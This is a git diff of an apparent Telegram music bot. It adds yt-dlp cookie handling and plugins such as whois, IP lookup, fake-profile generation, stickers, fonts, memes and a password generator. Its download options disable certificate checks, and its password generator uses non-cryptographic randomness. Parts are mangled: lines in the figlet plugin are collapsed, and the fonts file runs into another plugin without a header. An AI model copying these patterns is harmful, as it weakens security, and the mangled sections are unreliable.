link = self.base + link
loop = asyncio.get_running_loop()
-
def audio_dl():
ydl_optssx = {
"format": "bestaudio/best",
@@ -274,13 +303,12 @@ def audio_dl():
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
+ "cookiefile" : cookie_txt_file(),
"no_warnings": True,
}
x = yt_dlp.YoutubeDL(ydl_optssx)
info = x.extract_info(link, False)
- xyz = os.path.join(
- "downloads", f"{info['id']}.{info['ext']}"
- )
+ xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}")
if os.path.exists(xyz):
return xyz
x.download([link])
@@ -293,13 +321,12 @@ def video_dl():
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
+ "cookiefile" : cookie_txt_file(),
"no_warnings": True,
}
x = yt_dlp.YoutubeDL(ydl_optssx)
info = x.extract_info(link, False)
- xyz = os.path.join(
- "downloads", f"{info['id']}.{info['ext']}"
- )
+ xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}")
if os.path.exists(xyz):
return xyz
x.download([link])
@@ -315,6 +342,7 @@ def song_video_dl():
"nocheckcertificate": True,
"quiet": True,
"no_warnings": True,
+ "cookiefile" : cookie_txt_file(),
"prefer_ffmpeg": True,
"merge_output_format": "mp4",
}
@@ -330,6 +358,7 @@ def song_audio_dl():
"nocheckcertificate": True,
"quiet": True,
"no_warnings": True,
+ "cookiefile" : cookie_txt_file(),
"prefer_ffmpeg": True,
"postprocessors": [
{
@@ -351,14 +380,13 @@ def song_audio_dl():
fpath = f"downloads/{title}.mp3"
return fpath
elif video:
- if await is_on_off(config.YTDOWNLOADER):
+ if await is_on_off(1):
direct = True
- downloaded_file = await loop.run_in_executor(
- None, video_dl
- )
+ downloaded_file = await loop.run_in_executor(None, video_dl)
else:
proc = await asyncio.create_subprocess_exec(
"yt-dlp",
+ "--cookies",cookie_txt_file(),
"-g",
"-f",
"best[height<=?720][width<=?1280]",
@@ -369,12 +397,103 @@ def song_audio_dl():
stdout, stderr = await proc.communicate()
if stdout:
downloaded_file = stdout.decode().split("\n")[0]
- direct = None
+ direct = False
else:
- return
+ file_size = await check_file_size(link)
+ if not file_size:
+ print("None file Size")
+ return
+ total_size_mb = file_size / (1024 * 1024)
+ if total_size_mb > 250:
+ print(f"File size {total_size_mb:.2f} MB exceeds the 100MB limit.")
+ return None
+ direct = True
+ downloaded_file = await loop.run_in_executor(None, video_dl)
+ else:
+ direct = True
+ downloaded_file = await loop.run_in_executor(None, audio_dl)
+ return downloaded_file, direct
+
+class YTM:
+ def __init__(self):
+ self.base = "https://www.youtube.com/watch?v="
+ self.regex = r"(?:youtube\.com|youtu\.be)"
+ self.status = "https://www.youtube.com/oembed?url="
+ self.listbase = "https://youtube.com/playlist?list="
+ self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
+
+
+ async def download(
+ self,
+ link: str,
+ mystic,
+ video: Union[bool, str] = None,
+ videoid: Union[bool, str] = None,
+ songaudio: Union[bool, str] = None,
+ songvideo: Union[bool, str] = None,
+ format_id: Union[bool, str] = None,
+ title: Union[bool, str] = None,
+ ) -> str:
+ if videoid:
+ vidid = link
+ else:
+ pattern = r"(?:https?:\/\/)?(?:www\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/|v\/|live_stream\?stream_id=|(?:\/|\?|&)v=)?([^&\n]+)"
+ match = re.search(pattern, link)
+ vidid = match.group(1)
+
+ async def download(url, format):
+ async with httpx.AsyncClient(http2=True) as client:
+ response = await client.get(url)
+ file_path = os.path.join("downloads", f"{vidid}.{format}")
+ with open(file_path, 'wb') as file:
+ file.write(response.content)
+ return file_path
+
+
+ '''loop = asyncio.get_running_loop()
+
+ if songvideo:
+
+ return await loop.run_in_executor(None, download_file,vidid,False)
+
+ elif songaudio:
+ return await loop.run_in_executor(None, download_file,vidid)
+
+
+ elif video:
+ direct = True
+ downloaded_file = await loop.run_in_executor(None, download_file,vidid,False)
+
+
+ else:
+ direct = True
+ downloaded_file = await loop.run_in_executor(None, download_file,vidid)
+
+ return downloaded_file, direct'''
+
+ response = requests.get(f"https://pipedapi-libre.kavin.rocks/streams/{vidid}").json()
+ loop = asyncio.get_running_loop()
+
+ if songvideo:
+
+ url = response.get("videoStreams", [])[-1]['url']
+ fpath = await loop.run_in_executor(None, lambda: asyncio.run(download(url, "mp4")))
+ return fpath
+
+ elif songaudio:
+ return response.get("audioStreams", [])[4]["url"]
+
+
+ elif video:
+ url = response.get("videoStreams", [])[-1]['url']
+ direct = True
+ downloaded_file = await loop.run_in_executor(None, lambda: asyncio.run(download(url, "mp4")))
+
+
else:
direct = True
- downloaded_file = await loop.run_in_executor(
- None, audio_dl
- )
+ downloaded_file = response.get("audioStreams", [])[4]["url"]
+
return downloaded_file, direct
+
+
diff --git a/Champu/platforms/__init__.py b/ChampuXMusic/platforms/__init__.py
similarity index 83%
rename from Champu/platforms/__init__.py
rename to ChampuXMusic/platforms/__init__.py
index 935aa56..83a55b7 100644
--- a/Champu/platforms/__init__.py
+++ b/ChampuXMusic/platforms/__init__.py
@@ -4,4 +4,4 @@
from .Soundcloud import SoundAPI
from .Spotify import SpotifyAPI
from .Telegram import TeleAPI
-from .Youtube import YouTubeAPI
+from .Youtube import YouTubeAPI, YTM
diff --git a/ChampuXMusic/plugins/TheChampu/domain.py b/ChampuXMusic/plugins/TheChampu/domain.py
new file mode 100644
index 0000000..3cd0d8e
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/domain.py
@@ -0,0 +1,33 @@
+from pyrogram import Client, filters
+import whois
+from ChampuXMusic import app
+
+def get_domain_hosting_info(domain_name):
+ try:
+ domain_info = whois.whois(domain_name)
+ return domain_info
+ except whois.parser.PywhoisError as e:
+ print(f"Error: {e}")
+ return None
+
+
+@app.on_message(filters.command("domain"))
+async def get_domain_info(client, message):
+ if len(message.command) > 1:
+ domain_name = message.text.split("/domain ", 1)[1]
+ domain_info = get_domain_hosting_info(domain_name)
+
+ if domain_info:
+ response = (
+ f"Domain Name: {domain_info.domain_name}\n"
+ f"Registrar: {domain_info.registrar}\n"
+ f"Creation Date: {domain_info.creation_date}\n"
+ f"Expiration Date: {domain_info.expiration_date}"
+ # Add more details as needed
+ )
+ else:
+ response = "Failed to retrieve domain hosting information."
+
+ await message.reply(response)
+ else:
+ await message.reply("Please provide a domain name after the /domain command.")
diff --git a/ChampuXMusic/plugins/TheChampu/fakeinfo.py b/ChampuXMusic/plugins/TheChampu/fakeinfo.py
new file mode 100644
index 0000000..905f8ee
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/fakeinfo.py
@@ -0,0 +1,55 @@
+"""***
+MIT License
+
+Copyright (c) [2023] [TheChampu & TheChampu]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.***
+"""
+
+import requests
+from pyrogram import Client
+from pyrogram import filters
+from ChampuXMusic import app
+
+
+random_user_api_url = 'https://randomuser.me/api/'
+
+
+@app.on_message(filters.command("fake", prefixes="/"))
+def generate_fake_user_by_country(client, message):
+ country_name = message.text.split("/fake ", maxsplit=1)[1]
+
+ # Call the RandomUser API to get fake user information for the specified country
+ response = requests.get(f'{random_user_api_url}?nat={country_name}')
+
+ if response.status_code == 200:
+ user_info = response.json()['results'][0]
+ # Extract user details
+ first_name = user_info['name']['first']
+ last_name = user_info['name']['last']
+ email = user_info['email']
+ country = user_info['location']['country']
+ state = user_info['location']['state']
+ city = user_info['location']['city']
+ street = user_info['location']['street']['name']
+ zip_code = user_info['location']['postcode']
+ # Reply with the generated fake user information for the specified country
+ message.reply_text(f"𝗡𝗔𝗠𝗘➪ {first_name} {last_name}\n\n𝗘𝗠𝗔𝗜𝗟➪ {email}\n\n𝗖𝗢𝗨𝗡𝗧𝗥𝗬➪ {country}\n\n𝗦𝗧𝗔𝗧𝗘➪ {state}\n\n𝗖𝗜𝗧𝗬: {city}\n\n𝗔𝗗𝗗𝗥𝗘𝗦𝗦:➪{street}\n\n𝗭𝗜𝗣 𝗖𝗢𝗗𝗘➪ {zip_code}")
+ else:
+ message.reply_text(f"Failed to generate fake user information for {country_name}.")
diff --git a/ChampuXMusic/plugins/TheChampu/figlet.py b/ChampuXMusic/plugins/TheChampu/figlet.py
new file mode 100644
index 0000000..63a51ef
--- /dev/null
+++ b/ChampuXMusic/plugins/TheChampu/figlet.py
@@ -0,0 +1,35 @@
+from pyrogram import filters
+import asyncio
+import pyfiglet
+from random import choice
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message, CallbackQuery
+from pyrogram.handlers import MessageHandler
+from ChampuXMusic import app
+def figle(text):
+ x = pyfiglet.FigletFont.getFonts()
+ font = choice(x)
+ figled = str(pyfiglet.figlet_format(text,font=font))
+ keyboard = InlineKeyboardMarkup([[InlineKeyboardButton(text="ᴄʜᴀɴɢᴇ", callback_data="figlet"),InlineKeyboardButton(text="ᴄʟᴏsᴇ", callback_data="close_reply")]])
+ return figled, keyboard
+
+@app.on_message(filters.command("figlet"))
+async def echo(bot, message):
+ global text
+ try:
+ text = message.text.split(' ',1)[1]
+ except IndexError:
+ return await message.reply_text("Example:\n\n`/figlet Champu `")
+ kul_text, keyboard = figle(text)
+ await message.reply_text(f"ʜᴇʀᴇ ɪs ʏᴏᴜʀ ғɪɢʟᴇᴛ :\n{kul_text}", quote=True, reply_markup=keyboard) + +@app.on_callback_query(filters.regex("figlet")) +async def figlet_handler(Client, query: CallbackQuery): + try: + kul_text, keyboard = figle(text) + await query.message.edit_text(f"ʜᴇʀᴇ ɪs ʏᴏᴜʀ ғɪɢʟᴇᴛ :\n
{kul_text}", reply_markup=keyboard) + except Exception as e : + await message.reply(e) +__mod_name__ = "Fɪɢʟᴇᴛ" +__help__=""" +❍ /figlet*:* ᴍᴀᴋᴇs ғɪɢʟᴇᴛ ᴏғ ᴛʜᴇ ɢɪᴠᴇɴ ᴛᴇxᴛ +Example:\n\n`/figlet Champu `""" \ No newline at end of file diff --git a/ChampuXMusic/plugins/TheChampu/fonts.py b/ChampuXMusic/plugins/TheChampu/fonts.py new file mode 100644 index 0000000..c441339 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/fonts.py @@ -0,0 +1,202 @@ +from pyrogram import filters +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup + +from ChampuXMusic.utils.Champu_font import Fonts +from ChampuXMusic import app + +@app.on_message(filters.command(["font", "fonts"])) +async def style_buttons(c, m, cb=False): + text = m.text.split(' ',1)[1] + buttons = [ + [ + InlineKeyboardButton("𝚃𝚢𝚙𝚎𝚠𝚛𝚒𝚝𝚎𝚛", callback_data="style+typewriter"), + InlineKeyboardButton("𝕆𝕦𝕥𝕝𝕚𝕟𝕖", callback_data="style+outline"), + InlineKeyboardButton("𝐒𝐞𝐫𝐢𝐟", callback_data="style+serif"), + ], + [ + InlineKeyboardButton("𝑺𝒆𝒓𝒊𝒇", callback_data="style+bold_cool"), + InlineKeyboardButton("𝑆𝑒𝑟𝑖𝑓", callback_data="style+cool"), + InlineKeyboardButton("Sᴍᴀʟʟ Cᴀᴘs", callback_data="style+small_cap"), + ], + [ + InlineKeyboardButton("𝓈𝒸𝓇𝒾𝓅𝓉", callback_data="style+script"), + InlineKeyboardButton("𝓼𝓬𝓻𝓲𝓹𝓽", callback_data="style+script_bolt"), + InlineKeyboardButton("ᵗⁱⁿʸ", callback_data="style+tiny"), + ], + [ + InlineKeyboardButton("ᑕOᗰIᑕ", callback_data="style+comic"), + InlineKeyboardButton("𝗦𝗮𝗻𝘀", callback_data="style+sans"), + InlineKeyboardButton("𝙎𝙖𝙣𝙨", callback_data="style+slant_sans"), + ], + [ + InlineKeyboardButton("𝘚𝘢𝘯𝘴", callback_data="style+slant"), + InlineKeyboardButton("𝖲𝖺𝗇𝗌", callback_data="style+sim"), + InlineKeyboardButton("Ⓒ︎Ⓘ︎Ⓡ︎Ⓒ︎Ⓛ︎Ⓔ︎Ⓢ︎", callback_data="style+circles"), + ], + [ + InlineKeyboardButton("🅒︎🅘︎🅡︎🅒︎🅛︎🅔︎🅢︎", callback_data="style+circle_dark"), + InlineKeyboardButton("𝔊𝔬𝔱𝔥𝔦𝔠", callback_data="style+gothic"), + InlineKeyboardButton("𝕲𝖔𝖙𝖍𝖎𝖈", callback_data="style+gothic_bolt"), + ], + [ + InlineKeyboardButton("C͜͡l͜͡o͜͡u͜͡d͜͡s͜͡", callback_data="style+cloud"), + InlineKeyboardButton("H̆̈ă̈p̆̈p̆̈y̆̈", callback_data="style+happy"), + InlineKeyboardButton("S̑̈ȃ̈d̑̈", callback_data="style+sad"), + ], + [InlineKeyboardButton ("ᴄʟᴏsᴇ",callback_data="close_reply"),InlineKeyboardButton ("ɴᴇxᴛ ➻", callback_data="nxt")], + ] + if not cb: + await m.reply_text( + f"`{text}`", reply_markup=InlineKeyboardMarkup(buttons), quote=True + ) + else: + await m.answer() + await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons)) + + +@app.on_callback_query(filters.regex("^nxt")) +async def nxt(c, m): + if m.data == "nxt": + buttons = [ + [ + InlineKeyboardButton("🇸 🇵 🇪 🇨 🇮 🇦 🇱 ", callback_data="style+special"), + InlineKeyboardButton("🅂🅀🅄🄰🅁🄴🅂", callback_data="style+squares"), + InlineKeyboardButton( + "🆂︎🆀︎🆄︎🅰︎🆁︎🅴︎🆂︎", callback_data="style+squares_bold" + ), + ], + [ + InlineKeyboardButton("ꪖꪀᦔꪖꪶꪊᥴ𝓲ꪖ", callback_data="style+andalucia"), + InlineKeyboardButton("爪卂几ᘜ卂", callback_data="style+manga"), + InlineKeyboardButton("S̾t̾i̾n̾k̾y̾", callback_data="style+stinky"), + ], + [ + InlineKeyboardButton( + "B̥ͦu̥ͦb̥ͦb̥ͦl̥ͦe̥ͦs̥ͦ", callback_data="style+bubbles" + ), + InlineKeyboardButton( + "U͟n͟d͟e͟r͟l͟i͟n͟e͟", callback_data="style+underline" + ), + InlineKeyboardButton("꒒ꍏꀷꌩꌃꀎꁅ", callback_data="style+ladybug"), + ], + [ + InlineKeyboardButton("R҉a҉y҉s҉", callback_data="style+rays"), + InlineKeyboardButton("B҈i҈r҈d҈s҈", callback_data="style+birds"), + InlineKeyboardButton("S̸l̸a̸s̸h̸", callback_data="style+slash"), + ], + [ + InlineKeyboardButton("s⃠t⃠o⃠p⃠", callback_data="style+stop"), + InlineKeyboardButton( + "S̺͆k̺͆y̺͆l̺͆i̺͆n̺͆e̺͆", callback_data="style+skyline" + ), + InlineKeyboardButton("A͎r͎r͎o͎w͎s͎", callback_data="style+arrows"), + ], + [ + InlineKeyboardButton("ዪሀክቿነ", callback_data="style+qvnes"), + InlineKeyboardButton("S̶t̶r̶i̶k̶e̶", callback_data="style+strike"), + InlineKeyboardButton("F༙r༙o༙z༙e༙n༙", callback_data="style+frozen"), + ], + [InlineKeyboardButton ("ᴄʟᴏsᴇ",callback_data="close_reply"),InlineKeyboardButton ("ʙᴀᴄᴋ", callback_data="nxt+0")], + ] + await m.answer() + await m.message.edit_reply_markup(InlineKeyboardMarkup(buttons)) + else: + await style_buttons(c, m, cb=True) + + +@app.on_callback_query(filters.regex("^style")) +async def style(c, m): + await m.answer() + cmd,style = m.data.split('+') + if style == "typewriter": + cls = Fonts.typewriter + if style == "outline": + cls = Fonts.outline + if style == "serif": + cls = Fonts.serief + if style == "bold_cool": + cls = Fonts.bold_cool + if style == "cool": + cls = Fonts.cool + if style == "small_cap": + cls = Fonts.smallcap + if style == "script": + cls = Fonts.script + if style == "script_bolt": + cls = Fonts.bold_script + if style == "tiny": + cls = Fonts.tiny + if style == "comic": + cls = Fonts.comic + if style == "sans": + cls = Fonts.san + if style == "slant_sans": + cls = Fonts.slant_san + if style == "slant": + cls = Fonts.slant + if style == "sim": + cls = Fonts.sim + if style == "circles": + cls = Fonts.circles + if style == "circle_dark": + cls = Fonts.dark_circle + if style == "gothic": + cls = Fonts.gothic + if style == "gothic_bolt": + cls = Fonts.bold_gothic + if style == "cloud": + cls = Fonts.cloud + if style == "happy": + cls = Fonts.happy + if style == "sad": + cls = Fonts.sad + if style == "special": + cls = Fonts.special + if style == "squares": + cls = Fonts.square + if style == "squares_bold": + cls = Fonts.dark_square + if style == "andalucia": + cls = Fonts.andalucia + if style == "manga": + cls = Fonts.manga + if style == "stinky": + cls = Fonts.stinky + if style == "bubbles": + cls = Fonts.bubbles + if style == "underline": + cls = Fonts.underline + if style == "ladybug": + cls = Fonts.ladybug + if style == "rays": + cls = Fonts.rays + if style == "birds": + cls = Fonts.birds + if style == "slash": + cls = Fonts.slash + if style == "stop": + cls = Fonts.stop + if style == "skyline": + cls = Fonts.skyline + if style == "arrows": + cls = Fonts.arrows + if style == "qvnes": + cls = Fonts.rvnes + if style == "strike": + cls = Fonts.strike + if style == "frozen": + cls = Fonts.frozen + #text = m.text.split(' ',1)[1] + new_text = cls(m.message.reply_to_message.text.split(" ",1)[1]) + try: + await m.message.edit_text(new_text, reply_markup=m.message.reply_markup) + except: + pass + + +__help__ = """ + + ❍ /fonts
{content}", quote=True) + +mod_name = "Hᴀsʜᴛᴀɢ" +help= """ +Yᴏᴜ ᴄᴀɴ ᴜsᴇ ᴛʜɪs ʜᴀsʜᴛᴀɢ ɢᴇɴᴇʀᴀᴛᴏʀ ᴡʜɪᴄʜ ᴡɪʟʟ ɢɪᴠᴇ ʏᴏᴜ ᴛʜᴇ ᴛᴏᴘ 𝟹𝟶 ᴀɴᴅ ᴍᴏʀᴇ ʜᴀsʜᴛᴀɢs ʙᴀsᴇᴅ ᴏғғ ᴏғ ᴏɴᴇ ᴋᴇʏᴡᴏʀᴅ sᴇʟᴇᴄᴛɪᴏɴ. +° /hastag enter word to generate hastag. +°Exᴀᴍᴘʟᴇ: /hastag python """ diff --git a/ChampuXMusic/plugins/TheChampu/hexacode.py b/ChampuXMusic/plugins/TheChampu/hexacode.py new file mode 100644 index 0000000..5a6a928 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/hexacode.py @@ -0,0 +1,33 @@ +from pyrogram import Client, filters +from ChampuXMusic import app +from config import BOT_USERNAME + + +def hex_to_text(hex_string): + try: + text = bytes.fromhex(hex_string).decode('utf-8') + return text + except Exception as e: + return f"Error decoding hex: {str(e)}" + + +def text_to_hex(text): + hex_representation = ' '.join(format(ord(char), 'x') for char in text) + return hex_representation + + +# TheChampu & TheChampu........................... + +@app.on_message(filters.command("code")) +def convert_text(_, message): + if len(message.command) > 1: + input_text = " ".join(message.command[1:]) + + hex_representation = text_to_hex(input_text) + decoded_text = hex_to_text(input_text) + + response_text = f"𝗜𝗻𝗽𝘂𝘁 𝗧𝗲𝘅𝘁➪\n {input_text}\n\n𝗛𝗲𝘅 𝗥𝗲𝗽𝗿𝗲𝘀𝗲𝗻𝘁𝗮𝘁𝗶𝗼𝗻➪\n {hex_representation}\n\n𝗗𝗲𝗰𝗼𝗱𝗲𝗱 𝗧𝗲𝘅𝘁➪\n {decoded_text}\n\n\n𝗕𝗬 ➪@{BOT_USERNAME}" + + message.reply_text(response_text) + else: + message.reply_text("Please provide text after the /code command.") diff --git a/ChampuXMusic/plugins/TheChampu/images.py b/ChampuXMusic/plugins/TheChampu/images.py new file mode 100644 index 0000000..6473ac8 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/images.py @@ -0,0 +1,38 @@ +import requests +from requests import get +from ChampuXMusic import app +from pyrogram import filters +from pyrogram.types import InputMediaPhoto + +@app.on_message(filters.command(["image"], prefixes=["/", "!", "%", ",", "", ".", "@", "#"])) +async def pinterest(_, message): + chat_id = message.chat.id + + try: + query= message.text.split(None,1)[1] + except: + return await message.reply("**ɢɪᴠᴇ ɪᴍᴀɢᴇ ɴᴀᴍᴇ ғᴏʀ sᴇᴀʀᴄʜ 🔍**") + + images = get(f"https://pinterest-api-one.vercel.app/?q={query}").json() + + media_group = [] + count = 0 + + msg = await message.reply(f"sᴄʀᴀᴘɪɴɢ ɪᴍᴀɢᴇs ғʀᴏᴍ ᴘɪɴᴛᴇʀᴇᴛs...") + for url in images["images"][:6]: + + media_group.append(InputMediaPhoto(media=url)) + count += 1 + await msg.edit(f"=> ᴏᴡᴏ sᴄʀᴀᴘᴇᴅ ɪᴍᴀɢᴇs {count}") + + try: + + await app.send_media_group( + chat_id=chat_id, + media=media_group, + reply_to_message_id=message.id) + return await msg.delete() + + except Exception as e: + await msg.delete() + return await message.reply(f"ᴇʀʀᴏʀ : {e}") diff --git a/ChampuXMusic/plugins/TheChampu/ip.py b/ChampuXMusic/plugins/TheChampu/ip.py new file mode 100644 index 0000000..247da58 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/ip.py @@ -0,0 +1,31 @@ +from pyrogram import Client, filters +import requests +from ChampuXMusic import app + +############..... + +@app.on_message(filters.command(["ip"])) +def ip_info(_, message): + if len(message.command) != 2: + message.reply_text("Please provide an IP address after the command. Example: /ip 8.8.8.8") + return + + ip_address = message.command[1] + info = get_ip_info(ip_address) + + if info: + message.reply_text(info) + else: + message.reply_text("Unable to fetch information for the provided IP address.") + + +def get_ip_info(ip_address): + api_url = f"https://api.safone.dev/ipinfo?ip={ip_address}" + try: + response = requests.get(api_url) + if response.status_code == 200: + data = response.json() + info = f"IP: {data['ip']}\nCountry: {data['country']}\nCity: {data['city']}\nISP: {data['isp']}" + return info + except Exception as e: + print(f"Error fetching IP information: {e}") diff --git a/ChampuXMusic/plugins/TheChampu/kangsticker.py b/ChampuXMusic/plugins/TheChampu/kangsticker.py new file mode 100644 index 0000000..aab71fd --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/kangsticker.py @@ -0,0 +1,190 @@ + +import imghdr +import os +from asyncio import gather +from traceback import format_exc + +from pyrogram import filters +from pyrogram.errors import ( + PeerIdInvalid, + ShortnameOccupyFailed, + StickerEmojiInvalid, + StickerPngDimensions, + StickerPngNopng, + UserIsBlocked, +) +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message +from ChampuXMusic import app +from config import BOT_USERNAME +from ChampuXMusic.utils.errors import capture_err + +from ChampuXMusic.utils.files import ( + get_document_from_file_id, + resize_file_to_sticker_size, + upload_document, +) + +from ChampuXMusic.utils.stickerset import ( + add_sticker_to_set, + create_sticker, + create_sticker_set, + get_sticker_set_by_name, +) + +# ----------- + +MAX_STICKERS = ( + 120 # would be better if we could fetch this limit directly from telegram +) +SUPPORTED_TYPES = ["jpeg", "png", "webp"] +# ------------------------------------------ +@app.on_message(filters.command("get_sticker")) +@capture_err +async def sticker_image(_, message: Message): + r = message.reply_to_message + + if not r: + return await message.reply("Reply to a sticker.") + + if not r.sticker: + return await message.reply("Reply to a sticker.") + + m = await message.reply("Sending..") + f = await r.download(f"{r.sticker.file_unique_id}.png") + + await gather( + *[ + message.reply_photo(f), + message.reply_document(f), + ] + ) + + await m.delete() + os.remove(f) +#---------------- +@app.on_message(filters.command("kang")) +@capture_err +async def kang(client, message: Message): + if not message.reply_to_message: + return await message.reply_text("Reply to a sticker/image to kang it.") + if not message.from_user: + return await message.reply_text( + "You are anon admin, kang stickers in my pm." + ) + msg = await message.reply_text("Kanging Sticker..") + + # Find the proper emoji + args = message.text.split() + if len(args) > 1: + sticker_emoji = str(args[1]) + elif ( + message.reply_to_message.sticker + and message.reply_to_message.sticker.emoji + ): + sticker_emoji = message.reply_to_message.sticker.emoji + else: + sticker_emoji = "🤔" + + # Get the corresponding fileid, resize the file if necessary + doc = message.reply_to_message.photo or message.reply_to_message.document + try: + if message.reply_to_message.sticker: + sticker = await create_sticker( + await get_document_from_file_id( + message.reply_to_message.sticker.file_id + ), + sticker_emoji, + ) + elif doc: + if doc.file_size > 10000000: + return await msg.edit("File size too large.") + + temp_file_path = await app.download_media(doc) + image_type = imghdr.what(temp_file_path) + if image_type not in SUPPORTED_TYPES: + return await msg.edit( + "Format not supported! ({})".format(image_type) + ) + try: + temp_file_path = await resize_file_to_sticker_size( + temp_file_path + ) + except OSError as e: + await msg.edit_text("Something wrong happened.") + raise Exception( + f"Something went wrong while resizing the sticker (at {temp_file_path}); {e}" + ) + sticker = await create_sticker( + await upload_document(client, temp_file_path, message.chat.id), + sticker_emoji, + ) + if os.path.isfile(temp_file_path): + os.remove(temp_file_path) + else: + return await msg.edit("Nope, can't kang that.") + except ShortnameOccupyFailed: + await message.reply_text("Change Your Name Or Username") + return + + except Exception as e: + await message.reply_text(str(e)) + e = format_exc() + return print(e) +#------- + packnum = 0 + packname = "f" + str(message.from_user.id) + "_by_" + BOT_USERNAME + limit = 0 + try: + while True: + # Prevent infinite rules + if limit >= 50: + return await msg.delete() + + stickerset = await get_sticker_set_by_name(client, packname) + if not stickerset: + stickerset = await create_sticker_set( + client, + message.from_user.id, + f"{message.from_user.first_name[:32]}'s kang pack", + packname, + [sticker], + ) + elif stickerset.set.count >= MAX_STICKERS: + packnum += 1 + packname = ( + "f" + + str(packnum) + + "_" + + str(message.from_user.id) + + "_by_" + + BOT_USERNAME + ) + limit += 1 + continue + else: + try: + await add_sticker_to_set(client, stickerset, sticker) + except StickerEmojiInvalid: + return await msg.edit("[ERROR]: INVALID_EMOJI_IN_ARGUMENT") + limit += 1 + break + + await msg.edit( + "Sticker Kanged To [Pack](t.me/addstickers/{})\nEmoji: {}".format( + packname, sticker_emoji + ) + ) + except (PeerIdInvalid, UserIsBlocked): + keyboard = InlineKeyboardMarkup( + [[InlineKeyboardButton(text="Start", url=f"t.me/{BOT_USERNAME}")]] + ) + await msg.edit( + "You Need To Start A Private Chat With Me.", + reply_markup=keyboard, + ) + except StickerPngNopng: + await message.reply_text( + "Stickers must be png files but the provided image was not a png" + ) + except StickerPngDimensions: + await message.reply_text("The sticker png dimensions are invalid.") diff --git a/ChampuXMusic/plugins/TheChampu/love.py b/ChampuXMusic/plugins/TheChampu/love.py new file mode 100644 index 0000000..0d61132 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/love.py @@ -0,0 +1,38 @@ +from pyrogram import Client, filters +import random +from ChampuXMusic import app + +def get_random_message(love_percentage): + if love_percentage <= 30: + return random.choice([ + "Love is in the air but needs a little spark.", + "A good start but there's room to grow.", + "It's just the beginning of something beautiful." + ]) + elif love_percentage <= 70: + return random.choice([ + "A strong connection is there. Keep nurturing it.", + "You've got a good chance. Work on it.", + "Love is blossoming, keep going." + ]) + else: + return random.choice([ + "Wow! It's a match made in heaven!", + "Perfect match! Cherish this bond.", + "Destined to be together. Congratulations!" + ]) + +@app.on_message(filters.command("love", prefixes="/")) +def love_command(client, message): + command, *args = message.text.split(" ") + if len(args) >= 2: + name1 = args[0].strip() + name2 = args[1].strip() + + love_percentage = random.randint(10, 100) + love_message = get_random_message(love_percentage) + + response = f"{name1}💕 + {name2}💕 = {love_percentage}%\n\n{love_message}" + else: + response = "Please enter two names after /love command." + app.send_message(message.chat.id, response) diff --git a/ChampuXMusic/plugins/TheChampu/mene.py b/ChampuXMusic/plugins/TheChampu/mene.py new file mode 100644 index 0000000..3fbb85e --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/mene.py @@ -0,0 +1,31 @@ +from pyrogram import Client, filters +import requests +from ChampuXMusic import app + +# Define a command handler for the /meme command +@app.on_message(filters.command("meme")) +def meme_command(client, message): + # API endpoint for random memes + api_url = "https://meme-api.com/gimme" + + try: + # Make a request to the API + response = requests.get(api_url) + data = response.json() + + # Extract the meme image URL + meme_url = data.get("url") + title = data.get("title") + + # Mention the bot username in the caption + caption = f"{title}\n\nRequest by {message.from_user.mention}\nBot username: @{app.get_me().username}" + + # Send the meme image to the user with the modified caption + message.reply_photo( + photo=meme_url, + caption=caption + ) + + except Exception as e: + print(f"Error fetching meme: {e}") + message.reply_text("Sorry, I couldn't fetch a meme at the moment.") diff --git a/ChampuXMusic/plugins/TheChampu/password.py b/ChampuXMusic/plugins/TheChampu/password.py new file mode 100644 index 0000000..6652000 --- /dev/null +++ b/ChampuXMusic/plugins/TheChampu/password.py @@ -0,0 +1,20 @@ +import random, os +from pyrogram import Client, filters, enums +from ChampuXMusic import app +from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton + + +@app.on_message(filters.command(["genpassword", 'genpw'])) +async def password(bot, update): + message = await update.reply_text(text="Pʀᴏᴄᴇꜱꜱɪɴɢ..") + password = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_+".lower() + if len(update.command) > 1: + qw = update.text.split(" ", 1)[1] + else: + ST = ["5", "7", "6", "9", "10", "12", "14", "8", "13"] + qw = random.choice(ST) + limit = int(qw) + random_value = "".join(random.sample(password, limit)) + txt = f"Lɪᴍɪᴛ: {str(limit)} \nPᴀꜱꜱᴡᴏʀᴅ:
{random_value}
"
